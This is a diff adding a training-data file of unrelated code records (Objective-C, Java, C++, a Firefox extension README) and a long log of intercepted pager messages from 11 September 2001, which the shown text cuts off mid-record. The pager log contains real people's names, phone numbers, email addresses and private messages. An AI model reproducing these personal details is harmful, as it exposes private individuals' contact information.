diff --git "a/train/github-10-89801828.jsonl" "b/train/github-10-89801828.jsonl" new file mode 100644--- /dev/null +++ "b/train/github-10-89801828.jsonl" @@ -0,0 +1,1632 @@ +{"text": "//\n// FLEXSetExplorerViewController.m\n// Flipboard\n//\n// Created by Ryan Olson on 5/16/14.\n// Copyright (c) 2014 Flipboard. All rights reserved.\n//\n\n#import \"FLEXSetExplorerViewController.h\"\n#import \"FLEXRuntimeUtility.h\"\n#import \"FLEXObjectExplorerFactory.h\"\n\n@interface FLEXSetExplorerViewController ()\n\n@property (nonatomic, readonly) NSSet *set;\n\n@end\n\n@implementation FLEXSetExplorerViewController\n\n- (NSSet *)set\n{\n return [self.object isKindOfClass:[NSSet class]] ? self.object : nil;\n}\n\n\n#pragma mark - Superclass Overrides\n\n- (NSString *)customSectionTitle\n{\n return @\"Set Objects\";\n}\n\n- (NSArray *)customSectionRowCookies\n{\n return [self.set allObjects];\n}\n\n- (NSString *)customSectionTitleForRowCookie:(id)rowCookie\n{\n return [FLEXRuntimeUtility descriptionForIvarOrPropertyValue:rowCookie];\n}\n\n- (NSString *)customSectionSubtitleForRowCookie:(id)rowCookie\n{\n return nil;\n}\n\n- (BOOL)customSectionCanDrillIntoRowWithCookie:(id)rowCookie\n{\n return YES;\n}\n\n- (UIViewController *)customSectionDrillInViewControllerForRowCookie:(id)rowCookie\n{\n return [FLEXObjectExplorerFactory explorerViewControllerForObject:rowCookie];\n}\n\n- (BOOL)shouldShowDescription\n{\n return NO;\n}\n\n@end\n"} +{"text": "/*\n * Copyright (C) 2012-2019 DuyHai DOAN\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage info.archinnov.achilles.internals.dsl.query.update;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport info.archinnov.achilles.internals.dsl.SchemaNameAware;\nimport info.archinnov.achilles.internals.runtime.RuntimeEngine;\n\npublic abstract class AbstractUpdate implements SchemaNameAware {\n\n protected final RuntimeEngine rte;\n protected final List boundValues = new ArrayList<>();\n protected final List encodedValues = new ArrayList<>();\n\n\n protected AbstractUpdate(RuntimeEngine rte) {\n this.rte = rte;\n }\n\n\n}\n"} +{"text": "//\n// Aspia Project\n// Copyright (C) 2020 Dmitry Chapyshev \n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with this program. If not, see .\n//\n\n#include \"base/power_controller.h\"\n\n#include \"base/logging.h\"\n\nnamespace base {\n\n// static\nbool PowerController::shutdown()\n{\n NOTIMPLEMENTED();\n return false;\n}\n\n// static\nbool PowerController::reboot()\n{\n NOTIMPLEMENTED();\n return false;\n}\n\n// static\nbool PowerController::logoff()\n{\n NOTIMPLEMENTED();\n return false;\n}\n\n// static\nbool PowerController::lock()\n{\n NOTIMPLEMENTED();\n return false;\n}\n\n} // namespace base\n"} +{"text": "# borderify\n\n**This add-on injects JavaScript into web pages. The `addons.mozilla.org` domain disallows this operation, so this add-on will not work properly when it's run on pages in the `addons.mozilla.org` domain.**\n\n## What it does\n\nThis extension just includes:\n\n* a content script, \"borderify.js\", that is injected into any pages\nunder \"mozilla.org/\" or any of its subdomains\n\nThe content script draws a border around the document.body.\n\n## What it shows\n\n* how to inject content scripts declaratively using manifest.json\n"} +{"text": "/****************************************************************************\r\n* MeshLab o o *\r\n* An extendible mesh processor o o *\r\n* _ O _ *\r\n* Copyright(C) 2005, 2009 \\/)\\/ *\r\n* Visual Computing Lab /\\/| *\r\n* ISTI - Italian National Research Council | *\r\n* \\ *\r\n* All rights reserved. *\r\n* *\r\n* This program is free software; you can redistribute it and/or modify *\r\n* it under the terms of the GNU General Public License as published by *\r\n* the Free Software Foundation; either version 2 of the License, or *\r\n* (at your option) any later version. *\r\n* *\r\n* This program is distributed in the hope that it will be useful, *\r\n* but WITHOUT ANY WARRANTY; without even the implied warranty of *\r\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\r\n* GNU General Public License (http://www.gnu.org/licenses/gpl.txt) *\r\n* for more details. *\r\n* *\r\n****************************************************************************/\r\n\r\n#include \r\n#include \r\n#include \r\n#include \r\n\r\nusing namespace vcg;\r\nusing namespace std;\r\n\r\n#include \"radial_distortion.h\"\r\n#include \"arc3D_camera.h\"\r\n\r\n\r\n/*\r\nArc3D Camera\r\n\r\n\r\n*/\r\n// This function take in input a point in image space (e.g. with coords in range [0..1024]x[0..768]\r\n// a depth value and it returns the point in absolute 3D coords\r\n// \r\nPoint3m Arc3DCamera::DepthTo3DPoint(double x, double y, double depth, Point3d &M) const\r\n{\r\n Point3d m_temp = Kinv * Point3d(x,y,1);\r\n \r\n double oldx, oldy;\r\n rd.ComputeOldXY(m_temp[0] / m_temp[2], m_temp[1] / m_temp[2], oldx, oldy);\r\n \r\n m_temp=Point3d(oldx,oldy,1);\r\n Point3d fp=t; \r\n Point3d end = TRinv*m_temp; \r\n Point3d dir =fp-end;\r\n dir.Normalize();\r\n M = fp-dir*depth; \r\n\r\n\tPoint3d Mundist;\r\n\r\n\tm_temp = Kinvundist * Point3d(x,y,1);\r\n \r\n rd.ComputeOldXY(m_temp[0] / m_temp[2], m_temp[1] / m_temp[2], oldx, oldy);\r\n \r\n m_temp=Point3d(oldx,oldy,1);\r\n fp=t; \r\n end = TRinv*m_temp; \r\n dir =fp-end;\r\n dir.Normalize();\r\n Mundist = fp-dir*depth; \r\n\r\n\tPoint3m correct(Point3m::ScalarType(Mundist[0]-M[0]),Point3m::ScalarType(Mundist[1]-M[1]),Point3m::ScalarType(Mundist[2]-M[2]));\r\n\treturn correct; \r\n}\r\n\r\n\r\n\r\n\r\nbool Arc3DCamera::Open(const char *filename)\r\n{\r\n FILE *fp=fopen(filename,\"rb\");\r\n if(!fp) return false;\r\n\r\n fscanf(fp,\"%lf %lf %lf\",&(K[0][0]),&(K[0][1]),&(K[0][2]));\r\n fscanf(fp,\"%lf %lf %lf\",&(K[1][0]),&(K[1][1]),&(K[1][2]));\r\n fscanf(fp,\"%lf %lf %lf\",&(K[2][0]),&(K[2][1]),&(K[2][2]));\r\n\r\n k.resize(3);\r\n fscanf(fp,\"%lf %lf %lf\",&(k[0]),&(k[1]),&(k[2]));\r\n\r\n fscanf(fp,\"%lf %lf %lf\",&(R[0][0]),&(R[0][1]),&(R[0][2]));\r\n fscanf(fp,\"%lf %lf %lf\",&(R[1][0]),&(R[1][1]),&(R[1][2]));\r\n fscanf(fp,\"%lf %lf %lf\",&(R[2][0]),&(R[2][1]),&(R[2][2]));\r\n\r\n fscanf(fp,\"%lf %lf %lf\",&(t[0]),&(t[1]),&(t[2]));\r\n \r\n fscanf(fp,\"%i %i\",&width,&height);\r\n\r\n fclose(fp);\r\n\r\n Kundist=K;\r\n\r\n ///////\r\n Kundist[0][2]=(double)width/2.0;\r\n Kundist[1][2]=(double)height/2.0;\r\n\r\n ///////\r\n Kinv=Inverse(K);\r\n Kinvundist=Inverse(Kundist);\r\n \r\n rd.SetParameters(k);\r\n\r\n // TR = [R | -Rt] 4x4 matrix with upperleft a 3x3 rotation\r\n // on the right the rotated translation -Rt and 0001 in the \r\n // lower line.\r\n\r\n R=Inverse(R);\r\n #ifndef VCG_USE_EIGEN\r\n for(int i=0;i<3;++i)\r\n for(int j=0;j<3;++j)\r\n TR[i][j]= R[i][j];\r\n\t#else\r\n\tTR.corner<3,3>(Eigen::TopLeft) = R.transpose();\r\n\t#endif\r\n\r\n Point3d rt= R*(-t);\r\n \r\n for(int i=0;i<3;++i)\r\n TR[i][3]=rt[i];\r\n\r\n for(int j=0;j<3;++j)\r\n TR[3][j]=0;\r\n\r\n TR[3][3]=1;\r\n TRinv=Inverse(TR);\r\n return true;\r\n}\r\n"} +{"text": "2001-09-11 10:27:00 Arch [0999674] C ALPHA 75-HI, IT'S ME. THERE IS A POSSIBLITY THAT THEY WILL BE SHUTTING US DOWN. PLS BEFORE YOU LIKE NEWORK, GIVE ME A CALL SO WE CAN DRIVE HOME TOGETHER.\n2001-09-11 10:27:00 Arch [1425325] D ALPHA . . . . . . .\n2001-09-11 10:27:00 Arch [1656509] D ALPHA NCC Opening: 9/11 8:00 AM CDT New York, NY 60 Hudson Switch Complex has evacuated because of possible terrorists act on the New York trade center. TEAMS tkt# 2041237 \n2001-09-11 10:27:01 Metrocall [002272048] A ALPHA Call me ASAP. -Glen\n2001-09-11 10:27:01 Metrocall [1160795] C ALPHA Frm: Y! Txt: Cap You spin from affirmative to iffy. You stretch ever farther. You like\n2001-09-11 10:27:01 Metrocall [1064382] D ALPHA DKK 74418/25 +007 NOK 7.9450/00 -400 SEK 9.5610/10 +033 CZK 34.142/172 +049 GRD 340.75/350 +000 AUD 1.7477/02 -016 SGD 1.5803/19 +070 CAD 1.4140/53 +107 ESP$ 184.06/14 -114 PTE$ 221.77/87 -138 FRF$ 7.2562/94 -452 ITL$214189/284 -\n2001-09-11 10:27:01 Skytel [005000065] A ALPHA red rs0309e1 USOpen3CellWebServers http http://rs0309e1:6008/usopen/coreinfo?version NO RESPONSE (1 BAD URL) message from se0107e0 14:26 09/11\n2001-09-11 10:27:01 Skytel [003457536] A ST NUM 703-613-8388 (52 \n2001-09-11 10:27:01 Skytel [002734832] A ST NUM 398-136-3911 \n2001-09-11 10:27:01 Skytel [003411332] B SH/TONE 935-5000\n2001-09-11 10:27:01 Skytel [002695432] C ST NUM 917-228-6823 \n2001-09-11 10:27:01 Skytel [005491076] B ST NUM 714-272-6481 \n2001-09-11 10:27:01 Skytel [005043330] A ALPHA 44000\n2001-09-11 10:27:01 Skytel [007524483] A ALPHA Y! ||$499 deals on iPAQ Pocket PC Chico, CA Partly Cloudy 11 - 28 C WNI \n2001-09-11 10:27:01 Skytel [007516656] A ALPHA Y! ||Be mobile with Compaq AAPL 0.00 0.00; ASD 0.00 0.00; EMC 0.00 0.00; Delayed Reuters \n2001-09-11 10:27:01 Skytel [007524491] C ALPHA Y! || Plane crashes into second World Trade Center tower. \n2001-09-11 10:27:01 Skytel [003327230] D ALPHA (375219)295070:MOBIL OIL VC5 13:RIDGEFIE:.:201-941-0186:ONSI\n2001-09-11 10:27:01 Skytel [0001403] C ALPHA ]!z00]\"AY]$ (11\n2001-09-11 10:27:01 Skytel [003265806] D ALPHA Plan to leave @ 11, confirm our meeting. CAKES\n2001-09-11 10:27:01 Skytel [005095169] A ALPHA EbizTech@labs.wyeth.com|SiteScope Alert, error, URL Transaction: http://www.Weaninginfo.com, timed out reading (10.224.136.31)|This alert is from SiteScope at http://10.224.136.31:8888/Sit\n2001-09-11 10:27:02 Arch [0910581] B ALPHA 61-CALL JEAN. 978-568-1456\n2001-09-11 10:27:02 Arch [0310113] A ALPHA 278-9115\n2001-09-11 10:27:02 Arch [0932576] A ALPHA Please call me, Dick needs to know the room number there. Donna\n2001-09-11 10:27:02 Arch [0283709] D ALPHA [580 497-7999] 504-8184\n2001-09-11 10:27:02 Arch [0901359] D ALPHA CALL DESK--URGENT\n2001-09-11 10:27:02 Arch [0946470] B ALPHA 897-5499\n2001-09-11 10:27:03 Skytel [007579155] A SH/TONE 1111 \n2001-09-11 10:27:03 Skytel [005172755] A ST NUM 381-997-9990 \n2001-09-11 10:27:03 Skytel [002747924] B ST NUM 9774434875\n2001-09-11 10:27:03 Skytel [007603477] B SH/TONE 342 \n2001-09-11 10:27:03 Skytel [005220766] D ALPHA PLEASE CALL YOUR MOTHER AT HOME AT 972 250 3647. \n2001-09-11 10:27:03 Skytel [004405515] C SH/TONE 22799 \n2001-09-11 10:27:03 Skytel [005346436] B ST NUM 703-556-4144 \n2001-09-11 10:27:03 Skytel [005507205] B ALPHA 800-222-7511 Call Control Center asap \n2001-09-11 10:27:03 Skytel [004539037] D ST NUM 363-955-0901-3849092\n2001-09-11 10:27:03 Skytel [002357791] D SH/TONE 274-0000\n2001-09-11 10:27:03 Skytel [007464192] A ALPHA RFOWNER@rfaxp1.sps.mot.com|NONE|{MGMRC3 _** MAINTENANCE DELAY ** the voltage \n2001-09-11 10:27:03 Skytel [005314315] C ST NUM 937-279-5791 \n2001-09-11 10:27:03 Skytel [005095169] A ALPHA eScope Monitor: DigexWebsites:URL Transaction: htt\n2001-09-11 10:27:03 Skytel [004523550] D ST NUM 972-691-8003 \n2001-09-11 10:27:03 Skytel [007575581] D ALPHA root@geneva.vmware.com|CFM alert (#12)| 06:58:19 09/11/01 Error: Could not reach either spokane, biarritz or bordeaux. \n2001-09-11 10:27:04 Arch [0895403] C ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 7156\n2001-09-11 10:27:05 Skytel [005054122] C ALPHA PLEASE CALL ME ASAP. NAIDEEN AT 818-2153.\n2001-09-11 10:27:05 Skytel [007608239] D ALPHA (2 of 2) ,so if they let you leave you'll have to drive home. Let me know if you'll be coming home,like I said we will proably go to moms. I love you! Love Terri\n2001-09-11 10:27:05 Skytel [007604138] C ST NUM 0-740-286-5805 \n2001-09-11 10:27:05 Skytel [007463726] D ALPHA barbara.a.gotlinsky@verizon.com||hi. tried to call you to see if you are okay. I am in 1095 & staying here. I am going to the bathroom so if you try to call I will be right back \n2001-09-11 10:27:05 Skytel [004680102] B ALPHA (375236)295077:LOWES*:AUBURN:RICE:253 804-2600:LS400:ONSI\n2001-09-11 10:27:05 Skytel [004696616] C ST NUM 972-569-9319 \n2001-09-11 10:27:05 Skytel [005223845] B ALPHA || R MAF s1/0:1 0 \n2001-09-11 10:27:05 Skytel [005084960] A ST NUM 226-226-8666 (85 \n2001-09-11 10:27:05 Skytel [002398511] D SH/TONE 614-3087\n2001-09-11 10:27:05 Skytel {0444089} 3 1200 703-478-6070 53 \n2001-09-11 10:27:06 Skytel {1707243} 1 1200 416-219-8059 \n2001-09-11 10:27:06 Skytel {1708151} 1 1200 785-4213 \n2001-09-11 10:27:06 Skytel {0472825} 3 1200 850-321-5488 \n2001-09-11 10:27:06 Skytel {1037604} 3 1200 972-420-2840 \n2001-09-11 10:27:06 Skytel {0443735} 1 1200 482-6863 \n2001-09-11 10:27:06 Skytel {0391433} 3 1200 737-6691 \n2001-09-11 10:27:06 Skytel {0439810} 3 1200 407-5791-00 \n2001-09-11 10:27:07 Skytel {0555671} 3 1200 831-439-2257 \n2001-09-11 10:27:07 Skytel {0176873} 3 1200 972-673-1298 \n2001-09-11 10:27:07 Skytel {0471791} 3 1200 8226 \n2001-09-11 10:27:07 Skytel {0176474} 4 1200 5757931 DEL 090IIE SELECT SPECIALTY 6053223312 W MUCHMORE 3527B CSD 216\n2001-09-11 10:27:08 Arch [0472551] B ALPHA (14)Terrorist Impact to LTD Network - Surveillance is experiencing an increase in trunk traffic due to the current events in New York and other locations. More to follow. KJA\n2001-09-11 10:27:08 Arch [1047819] C ALPHA Everyone return to recycling immediate\n2001-09-11 10:27:08 Arch [1131264] A ALPHA (28)NCC Opening: 9/11 8:00 AM CDT New York, NY 60 Hudson Switch Complex has evacuated because of possible terrorists act on the New York trade center. TEAMS tkt# 2041237 \n2001-09-11 10:27:08 Arch [1146718] D ALPHA Please Call 342-6720 ASAP!! []\n2001-09-11 10:27:08 Arch [1275380] B ALPHA 508 824-2161\n2001-09-11 10:27:08 Arch [1600758] B ALPHA (6)NCC Opening: 9/11 8:00 AM CDT New York, NY 60 Hudson Switch Complex has evacuated because of possible terrorists act on the New York trade center. TEAMS tkt# 2041237 \n2001-09-11 10:27:08 Arch [0977592] C ALPHA PAX NESST Server|CORP-DC2 : Device \n2001-09-11 10:27:08 Arch [0516367] D ALPHA (4)Terrorist Impact to LTD Network - Surveillance is experiencing an increase in trunk traffic due to the current events in New York and other locations. More to follow. KJA\n2001-09-11 10:27:08 Arch [0479041] A ALPHA DATACASTnews.com.HON 35.70 Unch.\n2001-09-11 10:27:08 Arch [0951860] B ALPHA Please call office. \n2001-09-11 10:27:08 Skytel {1877618} 3 1200 6 26\n2001-09-11 10:27:09 Skytel {0145200} 3 2400 734-395-9748 20 \n2001-09-11 10:27:09 Skytel {1030682} 3 2400 843-743-7543 \n2001-09-11 10:27:09 Skytel {1002004} 3 2400 732-549-0694 83 \n2001-09-11 10:27:09 Skytel {1911697} 1 2400 000011+D\n2001-09-11 10:27:09 Skytel {2002260} 4 2400 [] NOTICE TO ALL ANHEUSER-BUSCH EMPLOYEES - Corporate Security has advised that due to apparent terrorist activities no employees should travel by air for at least the next 24 hours. Corporate -1/2 (1\n2001-09-11 10:27:10 Arch [1047819] C ALPHA ly! Chris []\n2001-09-11 10:27:10 Arch [0977592] C ALPHA Inaccessible|'Device Inaccessible' alarm received from CORP-DC2 at 10:26AM on 9/11/2001 A 'Device Inaccessible' alarm signifies that Compaq Insight Manager is not currently receiving network responses from \n2001-09-11 10:27:10 Arch [0951860] B ALPHA Getting status on all our people who are out of the office. []\n2001-09-11 10:27:10 Skytel {0923260} 1 2400 1-314-889-1551 \n2001-09-11 10:27:11 Metrocall {1320343} 3 2400 BREAKING NEWS A second explosion has been reported at the Pentagon. It is speculated that bombs were on board planes that crashed into the buildings, causing the complete collapse of at least one tower. Many Federal buildings includin..\n2001-09-11 10:27:13 Metrocall {1139234} 4 2400 423 499-0030..\n2001-09-11 10:27:13 Metrocall {1038132} 2 2400 9230704411....\n2001-09-11 10:27:14 Arch [0936727] B ALPHA ims|IMS|IMS Incident Notify: Train: 0722 Unit: - SLOW CHARGING BRAKE SYSTEM - CHANGING EQUIPMENT A/C OF A BRAKE HANG UP \n2001-09-11 10:27:14 Arch [0932101] B ALPHA 13-CALL MY CELL PHONE ASAP. ADAM/508-280-6523\n2001-09-11 10:27:14 Arch [0529995] C ALPHA manual: LLAMAME POR FA, estoy muy preocupada. Todos los aeropuertos estan cerrados\n2001-09-11 10:27:14 Arch [0928311] B ALPHA BreakingNews@CNN|CNN Breaking News|BREAKING NEWS from CNN.com -- United Nations evacuated. For complete coverage of this story visit: http://www.CNN.com or AOL Keyword: CNN CNN Headline News has chang\n2001-09-11 10:27:14 Arch [1417007] D ALPHA IPN |IMS|IMS Incident Notify: Train: 1508 Unit: - NO BRAKE APPLIED LIGHT - CHANGE EQUIPMENT A/C OF NO BRAKE APPLY LIGHT \n2001-09-11 10:27:16 Metrocall [1281781] B ALPHA Event ID# 684701 SLA Priority 1 - Critical has been submitted please call 303-436-8995\n2001-09-11 10:27:16 Metrocall [1281781] B ALPHA Event ID# 684701 Priority 1 - Critical has been submitted please call 303-436-8995\n2001-09-11 10:27:16 Metrocall [1160795] C ALPHA a challenge. Astrology\n2001-09-11 10:27:16 Metrocall [1064382] D ALPHA 335\n2001-09-11 10:27:16 Metrocall [1401325] D ALPHA /:DDC/: UPDATE: DUE TO HEIGHTENED ALERT FOR TERRORIST ACTIVITY IN THE UNITED STATES, TSS87 DEARBORN, TSS153 TAYLOR A\n2001-09-11 10:27:17 Arch [0970594] A ALPHA 1/02:Sev1 open S3041133 KATHRINE MCKINLAY 630-799-3910 4343 COMMERCE CT5 DIVERSIFIED CONSUMER SERVICES EMCMFOPS On Acaps 5.0 the AutoDecisioning FaxBax is down or possibly very slow. User requested a severity one since there is\n2001-09-11 10:27:17 Arch [0805325] D ALPHA 534-7007-91\n2001-09-11 10:27:17 Arch [1047640] C ALPHA 1/02:Sev1 open S3041133 KATHRINE MCKINLAY 630-799-3910 4343 COMMERCE CT5 DIVERSIFIED CONSUMER SERVICES EMCMFOPS On Acaps 5.0 the AutoDecisioning FaxBax is down or possibly very slow. User requested a severity one since there is\n2001-09-11 10:27:17 Arch [0988580] B ALPHA 1/02:Sev1 open S3041133 KATHRINE MCKINLAY 630-799-3910 4343 COMMERCE CT5 DIVERSIFIED CONSUMER SERVICES EMCMFOPS On Acaps 5.0 the AutoDecisioning FaxBax is down or possibly very slow. User requested a severity one since there is\n2001-09-11 10:27:17 Arch [0950225] A ALPHA 42-PLEASE CALL MIKE BARRETT ASAP 302-758-2600.\n2001-09-11 10:27:17 Arch [1396542] D ALPHA 13-PLEASE CALL JANET AT THE STORE.\n2001-09-11 10:27:17 Arch [0916223] D ALPHA ims|IMS|IMS Incident Notify: Train: 1508 Unit: - NO BRAKE APPLIED LIGHT - CHANGE EQUIPMENT A/C OF NO BRAKE APPLY\n2001-09-11 10:27:18 Metrocall [0898036] B ALPHA Please Call-7290\n2001-09-11 10:27:18 Metrocall [1401325] D ALPHA ND TSS45 JEFFERSON WILL BE MANNED UNTIL FURTHER NOTICE, KAS\n2001-09-11 10:27:18 Metrocall [0474734] D ALPHA Nanci, I need to talk to you ASAP due to the bombings Derek 703 205 2236/ cell703 919 6161\n2001-09-11 10:27:18 Metrocall [002587758] D ALPHA David Waldman FisStl:262-796-7117 DWN: St. Louis, MO - Tower - Treasury\n2001-09-11 10:27:18 Metrocall [002617067] 7:31:42 AM C ALPHA Pls call into the W/C important message from Mark. 1-800-421-2921 [W/C] (1/1)\n2001-09-11 10:27:19 Arch [0805325] D ALPHA 1-911\n2001-09-11 10:27:19 Arch [1047640] C ALPHA 2/02:financial impact. 09/11/01 10:24:05\n2001-09-11 10:27:19 Arch [0623035] C ALPHA (28)NCC Opening: 9/11 8:00 AM CDT New York, NY 60 Hudson Switch Complex has evacuated because of possible terrorists act on the New York t\n2001-09-11 10:27:19 Arch [0975773] D ALPHA BreakingNews@CNN|CNN Breaking News|BREAKING NEWS from CNN.com -- United Nations evacuated. For complete coverage of this story visit: http://www.CNN.com or AOL Keyword: CNN CNN Headline News has changed everything but its name. Visit us onli\n2001-09-11 10:27:19 Arch [1008275] A ALPHA (25)Terrorist Impact to LTD Network - Surveillance is experiencing an increase in trunk traffic due to the current events in New York and other locations. More to follow. KJA\n2001-09-11 10:27:19 Arch [1082912] A ALPHA (18)NCC Opening: 9/11 8:00 AM CDT Ne\n2001-09-11 10:27:19 Arch [0916223] D ALPHA LIGHT \n2001-09-11 10:27:19 Arch [0970594] A ALPHA 2/02:financial impact. 09/11/01 10:24:05\n2001-09-11 10:27:19 Arch [0606037] B ALPHA (3)NCC Opening: 9/11 8:00 AM CDT New York, NY 60 Hudson Switch Complex has evacuated because of possible terrorists act on the New York trade center. TEAMS tkt# 2041237 \n2001-09-11 10:27:20 Metrocall [002587758] D ALPHA Mngnt dept`s HPLJ printer is jamming constantly. LSSTL paged. No ETR. TICKET_NUM:000489394 09-11-01 09:12am cst\n2001-09-11 10:27:20 Metrocall [1422310] B ALPHA David Waldman FisStl:262-796-7117 DWN: St. Louis, MO - Tower - Treasury Mngnt de\n2001-09-11 10:27:20 Metrocall [002535264] A ALPHA Frm: Wendy.Starling@gulfaero.com Sub: Txt: Your plane is here--call me if you can. Wendy\n2001-09-11 10:27:20 Metrocall [1224262] B ALPHA 112737 Sandra Davis 3602 Main Street Jackson 39213 23U23 Special-Other BY 9/14/01 CALL CUSTOMER SEE IF WE CAN COME B\n2001-09-11 10:27:21 Arch [0623035] C ALPHA rade center. TEAMS tkt# 2041237 \n2001-09-11 10:27:21 Arch [0988580] B ALPHA 2/02:financial impact. 09/11/01 10:24:05\n2001-09-11 10:27:21 Arch [0977467] C ALPHA 1/02:Sev1 open S3041133 KATHRINE MCKINLAY 630-799-3910 4343 COMMERCE CT5 DIVERSIFIED CONSUMER SERVICES EMCMFOPS On Acaps 5.0 the AutoDecisioning FaxBax is dow\n2001-09-11 10:27:21 Arch [0904066] A ALPHA 1/02:Sev1 open S3041133 KATHRINE MCKINLAY 630-799-3910 4343 COMMERCE CT5 DIVERSIFIED CONSUMER SERVICES EMCMFOPS On Acaps 5.0 the AutoDecisioning FaxBax is down or possibly very slow. User requested a severity one since there is\n2001-09-11 10:27:21 Arch [1082912] A ALPHA w York, NY 60 Hudson Switch Complex has evacuated because of possible terrorists act on the New York trade center. TEAMS tkt# 2041237 \n2001-09-11 10:27:21 Arch [0965336] C ALPHA Peter Wittenstrom||Due to the terrorist crisis, the Genex meeting is canceled. |79 \n2001-09-11 10:27:21 Arch [1611051] C ALPHA 1/02:Sev1 open S3041133 KATHRINE MCKINLAY 630-799-3910 4343 COMMERCE CT5 DIVERSIFIED CONSUMER SERVICES EMCMFOPS On Acaps 5.0 the AutoDecisioning FaxBax is down or possibly very slow. User requested a severity one since there is\n2001-09-11 10:27:21 Arch [0044425] C ALPHA 26-PLEASE C\n2001-09-11 10:27:21 Skytel {0141585} 3 2400 410-610-3189 \n2001-09-11 10:27:22 Metrocall [0114705] A ALPHA 2985345>>>>>\n2001-09-11 10:27:22 Metrocall [1422310] B ALPHA pt`s HPLJ printer is jamming constantly. LSSTL paged. No ETR. TICKET_NUM:000489394 09-11-01 09:12am cst\n2001-09-11 10:27:22 Metrocall [1224262] B ALPHA ACK OUT AT NO CHARGE & DIAGNOIS SYSTEM Check (601) 362-5090\n2001-09-11 10:27:22 Metrocall [1890309] B ALPHA [ 1/ 2] From: Hale, Daphne K. Just a Note: On adding a new sub entry, under the reason column, a new dropdown of \"targets\" have been added. When workers enter substation for targets, you may now report targets instead of\n2001-09-11 10:27:23 Arch [0977467] C ALPHA n or possibly very slow. User requested a severity one since there is\n2001-09-11 10:27:23 Arch [1184707] A ALPHA mcoletta|Susan verified the DB, please figure out Rightsite and Documentum. mark \n2001-09-11 10:27:23 Arch [0904066] A ALPHA 2/02:financial impact. 09/11/01 10:24:05\n2001-09-11 10:27:23 Arch [1356563] A ALPHA 582222-\n2001-09-11 10:27:23 Arch [0283015] B ALPHA nkent|Where are you? Do you want to have coffe w/ DW? Call me 527-6529 Nan \n2001-09-11 10:27:23 Arch [1020272] A ALPHA SF is under a stage 1 alert!!!!!\n2001-09-11 10:27:23 Arch [1306007] B ALPHA \"Seruya, Stewart|Appt:09/11/01_11:00|Tim Meeting @ \n2001-09-11 10:27:23 Arch [0929825] A ALPHA 367-6545\n2001-09-11 10:27:23 Arch [0033625] C ALPHA debrose| Jacque was on your phone but got cut off. -Debra \n2001-09-11 10:27:23 Arch [0871966] D ALPHA 52-CALL ME AT WORK 770-346-4373 CALL ME. EVERYONE AT NEW YORK IS OK. MOM\n2001-09-11 10:27:23 Arch [1611051] C ALPHA 2/02:financial impact. 09/11/01 10:24:05\n2001-09-11 10:27:23 Arch [0478958] D ALPHA 07871\n2001-09-11 10:27:23 Arch [0044425] C ALPHA ALL NANCY.\n2001-09-11 10:27:23 Arch [0321789] D ALPHA micstewa| Nancy - Please call me ASAP mICHELLE(703) 484-5519 \n2001-09-11 10:27:23 Arch [1051952] A ALPHA \"Pamela R. Rivers\"|Need to account for Stacey - Looks like your flight arrived on time. Please page me. - Pam ||111 \n2001-09-11 10:27:24 Metrocall [1224262] B ALPHA 112717 Ollie V. Gentry 5118 Millwood Place Jackson 39206 23Q23 Time & Material Normal-Air Conditioning TRY 9/11 RESUME FIND FREON LEAK Check 0896E03377 38TRA042-3 Whole House (601) 362-9116\n2001-09-11 10:27:24 Metrocall [0409660] D ALPHA 59-THIS IS RENNE, I WANT TO POSTPONE OUR 11:00 MTG. PLEASE CALL TO !1/2 059\n2001-09-11 10:27:24 Metrocall [0409660] D ALPHA 59- RESCHEDULE. 770-422-1438 OR CELL AT 678-\n2001-09-11 10:27:25 Arch [1327523] A ALPHA BREAKING NEWS from CNN.com -- United Nations evacuated. For complete coverage of this story visit: http://www.CNN.com or AOL Keyword: CNN CNN Headline News has changed everything but its name. Visit u\n2001-09-11 10:27:25 Arch [0911777] A ALPHA Please Call 740-0070\n2001-09-11 10:27:25 Arch [1213207] B ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 0079\n2001-09-11 10:27:25 Arch [1424313] C ALPHA 60-PLEASE CALL ASAP STEPHANIE.\n2001-09-11 10:27:25 Arch [0014915] A ALPHA \"Lyons, Robert (|New York Rector St office server BINNYCFAP011 being shutdown until further notice. \n2001-09-11 10:27:25 Arch [1650360] C ALPHA open tr 2564182 sev 1 @ 10:10 Eservices telephone number is ringing busy . BCJXTCOM has been notified and is investigating. sdyce 888-567-8304 \n2001-09-11 10:27:25 Arch [100158493] D ALPHA 777-7500\n2001-09-11 10:27:25 Arch [1394622] D ALPHA 1/2 F:\"Shafer, Randy\" S:\"BETA CUSTOMER REQUEST: D: Drive is full\": S:D: Drive is full: T:\"'gold_support@cs.diebold.com'\" M:Our Drive is full\n2001-09-11 10:27:26 Metrocall [0639948] D ALPHA Frm: Jennifer K. Wright Sub: RE: SOFTWARE MEETING Txt: 2:00 is fine with me. -----Original Message----- From: Lynn F. Denton [mailto:LFDenton@qsystems.net] Sent: Tuesday, September 11, 200\n2001-09-11 10:27:26 Metrocall [002468192] A ALPHA [ 2/ 2] other. Thanks Daphne Hale\n2001-09-11 10:27:26 Metrocall [0409660] D ALPHA 878-1282. !2/2 059\n2001-09-11 10:27:26 Metrocall [002468192] A ALPHA [ 1/ 2] From: Hale, Daphne K. Just a Note: On adding a new sub entry, under the reason column, a new dropdown of \"targets\" have been a\n2001-09-11 10:27:27 Arch [1394622] D ALPHA 2/2 , what do you suggest to do first to free up. thanks, Randy Shafer Texas A&M University\n2001-09-11 10:27:27 Arch [1276032] A ALPHA 05-PLEASE CALL YOUR SISTER WHEN YOU GET A CHANCE.\n2001-09-11 10:27:27 